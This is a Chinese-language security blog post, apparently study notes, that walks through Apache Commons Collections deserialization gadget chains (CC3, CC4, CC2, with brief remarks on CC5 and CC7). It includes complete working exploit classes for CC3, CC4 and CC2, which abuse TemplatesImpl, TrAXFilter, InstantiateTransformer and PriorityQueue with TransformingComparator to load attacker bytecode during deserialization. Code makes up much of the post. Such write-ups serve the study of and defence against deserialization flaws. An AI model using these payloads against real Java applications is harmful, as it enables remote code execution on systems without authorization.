TemplatesImpl是实现了序列化接口的,所以可以直接控制他的属性值。TemplatesImpl在自己内部定义了一个内部类:TransletClassLoader,这个内部类TransletClassLoader自己又重写了defineClass,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

image.png
所以我们现在的想法是,如何在TransletClassLoader调用到这个defineClass方法。defineClass是在defineTransletClasses方法中被调用的,所以我们往回找哪里调用了defineTransletClasses方法,其实我们可以找到三个调用了的地方,如下图所示:

image.png
但是我们知道通过defineClass动态加载字节码,最后我们需要newInstance才能真正实例化出我们需要的类对象,所以分析后发现只有那个getTransletInstance符合要求。
再往后就一直回溯,找到可以直接调用的public方法就行。
最终调用链如下:

TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses() -> 
TransletClassLoader#defineClass()

image.png
目前的情况是前面两个方法getOutputProperties和newTranformer都是public定义域的方法,其实我们直接调用newTransform,也可以直接去触发调用后面的链子。下面的就是调试好的,直接调用newTransform然后触发的链子,当然也可以试试通过改写成ChainedTransformer的形式,通过transform调用:
其中TemplatesImpl类中一些属性值是有要求的,都放在下面了,同时,我们加载进去的恶意类也是有要求的,必须是需要继承来自AbstractTranslet类的。

image.png

image.png

image.png
通过newTransformer触发:

public static void main(String[] args) throws Exception{
    TemplatesImpl templates = new TemplatesImpl();
    Class<? extends TemplatesImpl> aClass = templates.getClass();

    Field name = aClass.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"v1nd");

    byte[] bytes= Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\Desktop\\Java\\javaslowtalk\\CommonsCollections333\\target\\classes\\templatetest.class"));
    byte[][] code={bytes};
    Field bytecodes = aClass.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(templates,code);

    Field tfactory = aClass.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer transformer = templates.newTransformer();

}

使用InvokerTransform的EXP&链子

其实前半段链子跟CC1一样,触发点也是一样的,都是AnnotationInvocationHandler。就是从InvokerTransform那里不一样,不再从InvokerTransform那里直接循环调用然后出发命令执行了。而是选择去调用外部的字节码,去动态加载一个恶意的类,然后实现命令执行的效果,这里借助的是TemplateImpl这个类,后半段的调用链在上面也写上去了。
记得把jdk版本调到8u71以下,不然前半段的链子跑不通,差点又调半天
exp:

package com.tjf;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static void main(String[] args) throws Exception{
        CommonsCollections3 commonsCollections3 = new CommonsCollections3();
        byte[] write = commonsCollections3.write();
        commonsCollections3.read(write);

    }
    private byte[] write()throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();

        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"v1nd");

        byte[] bytes= Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\Desktop\\Java\\javaslowtalk\\CommonsCollections333\\target\\classes\\templatetest.class"));
        byte[][] code={bytes};
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,code);

        //这个仅是测试使用,是一个transient变量,序列化时不会带上的
        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //直接通过newTransformer调用
        //        Transformer transformer = templates.newTransformer();
        //或者通过ChainedTransformer调用transform触发
        Transformer[] transformers = {
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //        chainedTransformer.transform("v1nd");
        HashMap hashMap = new HashMap();
        hashMap.put("value","1");
        Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class<?> aaClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aaClass.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, decorate);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        objectOutputStream.flush();
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }
    private void read(byte[] bytes)throws Exception{
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();
    }
}

CC3真正的链子&EXP

先放张白日梦组长大哥的链子图:

image.png
找寻出这条链子主要是由于当时开发者们把CC1中使用的InvokerTransformer给过滤了,所以大佬们就在CC3新找了一个利用方法:com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这个类他会去主动调用templates.newTransformer方法,所以省去我们去手工构造InvokerTransformer然后让他去调用newTransformer方法。
但是有一个问题就是TrAXFilter他没有实现序列化接口,所以我们得通过其他方式将TrAXFilter他实例化才行。

image.png

TrAXFilter

实例化构造时可以传入一个templates,同时回去调用templates.newTransformer,达到我们的要求了。

image.png

InstantiateTransformer

直接看他的transform方法,作用跟他的类名是一样的,就是传入啥就帮你实例化啥,不过要求是传入的必须是一个类。

image.png

最后的EXP

package com.tjf;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static void main(String[] args) throws Exception{
        CommonsCollections3 commonsCollections3 = new CommonsCollections3();
        byte[] write = commonsCollections3.write();
        commonsCollections3.read(write);

    }
    private byte[] write()throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();

        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"v1nd");

        byte[] bytes= Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\Desktop\\Java\\javaslowtalk\\CommonsCollections333\\target\\classes\\templatetest.class"));
        byte[][] code={bytes};
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,code);

        //这个仅是测试使用,是一个transient变量,序列化时不会带上的
        //        Field tfactory = aClass.getDeclaredField("_tfactory");
        //        tfactory.setAccessible(true);
        //        tfactory.set(templates,new TransformerFactoryImpl());

        //直接通过newTransformer调用
        //        Transformer transformer = templates.newTransformer();
        //或者通过ChainedTransformer调用transform触发
        Transformer[] transformers = new Transformer[]{
            //                new ConstantTransformer(templates),
            //                new InvokerTransformer("newTransformer",null,null)
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //        chainedTransformer.transform("v1nd");

        //        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //        instantiateTransformer.transform(TrAXFilter.class);


        HashMap hashMap = new HashMap();
        //        hashMap.put("value","1");
        //        Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
        //        Object put = decorate.put("1", "1");
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        Class<?> aaClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aaClass.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler o = (InvocationHandler) constructor.newInstance(Retention.class,decorate);
        Map o1 = (Map) Proxy.newProxyInstance(decorate.getClass().getClassLoader(), decorate.getClass().getInterfaces(), o);
        InvocationHandler o2 = (InvocationHandler) constructor.newInstance(Retention.class,o1);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o2);
        objectOutputStream.flush();
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
        //        return new byte[]{};
    }
    private void read(byte[] bytes)throws Exception{
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();
    }
}

0x06 CommonsCollections4

前言

注意一下,因为只有在`CommonsCollections4`这个新的版本中,**TransformingComparator**实现了序列化接口,所以**版本4**中的链子并不能放在**版本3**中去执行了。

pom.xml

需要的依赖:

<dependencies>
  <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
    <scope>test</scope>
  </dependency>
</dependencies>

小尝试

在CommonsCollections4这个新的版本依赖中,我们去尝试发现,其实前面的CC1和CC3的链子还是能够使用的,但是有细节改变了,例如CC1和CC3中LazyMap的decorate方法换成了lazyMap这个名字,不过我们换一下就好了(这里测试了一下,发现有个Map到Proxy的强制类型转换错误,应该是AnnotationInvokecationHandler那一块的问题,暂时无法解决)。尝试CC6,确实可以执行,没毛病。

不过我们这里更换了链子的前半段,把触发transform的点更换了。例如CC1和CC3中,前半段我们是通过AnnotationInvokecationHandler的readObject作为突破口的,后半段再分别调用不同的链子:InvokerTransformer(CC1)和InstantiateTransformer(CC3)进行命令执行。

到了CC4,我们前半段选择了PriorityQueue这个优先队列作为入口点,它的readObject方法调用了heapify方法,然后经过一系列调用,就调用到了compare方法,而我们CC4中的TransformingComparator莫名的实现了序列化接口,导致我们可以直接使用,他其中有一个compare方法,并且里面调用了transform方法,所以整条链子就通了。

PriorityQueue(优先队列)

PriorityQueue源码分析
PriorityQueue其实是一个优先队列,和先进先出(FIFO)的队列的区别在于,优先队列每次出队的元素都是优先级最高的元素。那么怎么确定哪一个元素的优先级最高呢,jdk中使用堆这么一种数据结构,通过堆使得每次出队的元素总是队列里面最小的,而元素的大小比较方法可以由用户Comparator指定,这里就相当于指定优先级。

image.png

TransformingComparator

这个是CC4里面的一个comparator,具体位置为org.apache.commons.collections4.comparators.TransformingComparator

在CC3中他是没有实现序列化接口的,但是在CC4中他却实现了序列化接口(挺让人迷惑的),不过确实也为我们提供了一个攻击突破口。
作用:用转换行为装饰另一个Comparator。也就是说,转换操作的返回值将传递给修饰的比较方法。
它的compare方法中调用了transform方法,这就是关键点所在,只要我们前面能找到链子连接到这里,就可以像前面的CC链一样命令执行了。

image.png

最终链子&EXP

image.png
这里前半段的链子就是从PriorityQueue#heapify到TransformingComparator#compare,再到ChainedTransformer#transform,前半段的链子就完成了。

后半段的链子就跟CC3的后半段链子一样,就是关于动态加载字节码的那条链子:就是TrAXFilter在类实例化的时候就会调用transform那条链子

其实使用CC1的后半条链子应该也是可以的,就是那条通过Invokertransformer循环触发命令执行的那条链子

在前半段的链子编写上,我们需要注意一下就是,由于链子打通完整性需要,我们需要往PriorityQueue里add数值,add的时候他也会进行heapify操作,所以会导致在序列化阶段就会打通链子,因此我们在add之前,在TransformingComparator实例化的时候传入一个没有用的ConstantTransformer就行了,然后add完两个数值之后,我们再把真正有用的ChainedTransformer通过反射覆盖前面的ConstantTransformer
exp:

package com.tjf;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CommonsCollections4 {
    public static void main(String[] args) throws Exception{
        CommonsCollections4 commonsCollections4 = new CommonsCollections4();
        byte[] write = commonsCollections4.write();
        commonsCollections4.read(write);
    }
    private byte[] write()throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();

        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"v1nd");

        byte[] bytes= Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\Desktop\\Java\\javaslowtalk\\CommonsCollections333\\target\\classes\\templatetest.class"));
        byte[][] code={bytes};
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,code);

        //这个仅是测试使用,是一个transient变量,序列化时不会带上的
        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //        //直接通过newTransformer调用
        ////        Transformer transformer = templates.newTransformer();
        //        //或者通过ChainedTransformer调用transform触发
        Transformer[] transformers = new Transformer[]{
            //                new ConstantTransformer(templates),
            //                new InvokerTransformer("newTransformer",null,null)
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
    TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>("1"));
    //        transformingComparator.compare("1","2");
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add("1");
    priorityQueue.add("2");

    Class<? extends TransformingComparator> aClass1 = transformingComparator.getClass();
    Field transformer = aClass1.getDeclaredField("transformer");
    transformer.setAccessible(true);
    transformer.set(transformingComparator,chainedTransformer);


    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(priorityQueue);
    objectOutputStream.flush();
    objectOutputStream.close();
    return byteArrayOutputStream.toByteArray();
    //        return new byte[]{};
    }
    private void read(byte[] bytes)throws Exception{
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    Object o = objectInputStream.readObject();
    }
    }

0x07 CommonsCollections2

先放白日梦组长大哥的链子图:

image.png

前言

CC2的的前半条链是跟CC4的前面是一样的,都是借助PriorityQueue和TransformingComparator触发transform方法。

在CC3中,我们知道只要我们能够调用到TemplatesImple#newTransformer这个函数方法,那么他就可以通过一系列内部函数调用(可以去CC3看看)然后调用一个defineClass,这样我们就能远程加载我们的恶意类了,所以,CC2的后半条链也差不多就是CC3的后半条链。

因此,我们把这前后串联起来,借助InvokerTransform作为中间人,我们直接可以通过transform去调用newTransformer,这样就能只想到defineClass,然后远程加载恶意类,执行代码了。

记得往priority扔点东西,不然都进不去siftdown函数

image.png

至于调用newTransformer的对象是如何传入的,我们一路回溯是可以发现,传到TransformingComparator#compare中传给this.transformer.transform(obj1)的obj1其实是我们PriorityQueue#add自己加进去的,所以这里我们把TemplatesImple实例化的对象add进去就可以了,具体的回溯调用流程如下:

image.png

image.png

image.png

image.png

最终EXP

需要注意一下的就是,我记得远程加载的恶意类必须是AbstractTranslet的子类来着,所以编写时记得extends AbstractTranslet就行。
exp:

package com.tjf;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void main(String[] args) throws Exception{
        CommonsCollections2 commonsCollections2 = new CommonsCollections2();
        byte[] write = commonsCollections2.write();
        commonsCollections2.read(write);

    }
    private byte[] write()throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();

        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"v1nd");

        byte[] bytes= Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\Desktop\\Java\\javaslowtalk\\CommonsCollections333\\target\\classes\\templatetest.class"));
        byte[][] code={bytes};
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,code);

        //这个仅是测试使用,是一个transient变量,序列化时不会带上的
        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
        //        newTransformer.transform(templates);

        TransformingComparator<Object, Object> objectObjectTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>("v1nd"));
        PriorityQueue<Object> objects = new PriorityQueue<>(objectObjectTransformingComparator);

        //需要往PriorityQueue优先队列add点东西,不然就直接返回了。
        //只要传给第一个就可以触发,只传给第二个不行
        objects.add(templates);
        objects.add("v1nd");

        //把前面的临时的ConstantTransformer替换成可以命令执行的InvokerTransformer。
        Class<? extends TransformingComparator> aClass1 = objectObjectTransformingComparator.getClass();
        Field transformer = aClass1.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(objectObjectTransformingComparator,newTransformer);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(objects);
        objectOutputStream.flush();
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
        //        return new byte[]{};
    }
    private void read(byte[] bytes)throws Exception{
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();
    }
}

0x08 CommonsCollections5&7

犯懒了,没有去跟,就简单了解了一下简单的链子流程,给自己挖了个坑,有空去填一填。

CC5

先放ysoserial链子图:

image.png
在ysoserial发现了有趣的东西(有JDK限制):
This only works in JDK 8u76 and WITHOUT a security manager
CC5这条链子其实跟CC1差不多,LazyMap.get后面的链子都是一样的,就是前半段条链子如何去LazyMap.get方法不一样。这里是以BadAttributeValueExpException的readObject为入口,里面有一个toString方法,而TiedMapEntry里面又有getVaule,所以就能出发到LazyMap.get的方法了。

image.png

image.png

CC7

先放ysoserial链子图:

image.png
前半段的调用流程大概如下。这里哟用到了Hashtable,初步了解似乎需要hash碰撞:

image.png
简单的看了一下,就是前面的入口位置变了,从Hashtable的readObject开始入手了,然后去调到了LazyMap的equals方法,因为他没有这个方法,所以去调父类的equals,最终调用到了java.util.AbstractMap.equals这个方法,然后这里有个get方法,用LazyMap调就行了,后面就没有再跟了。

0x09 参考

白日梦组长大哥b站教学视频
JavaThings - Java安全漫谈笔记相关
ysoserial

上一篇:
天权信安&catf1ag网络安全联合公开赛WriteUp
下一篇:
安永咨询挑战杯2022黑客松大赛WP
本文目录
本文目录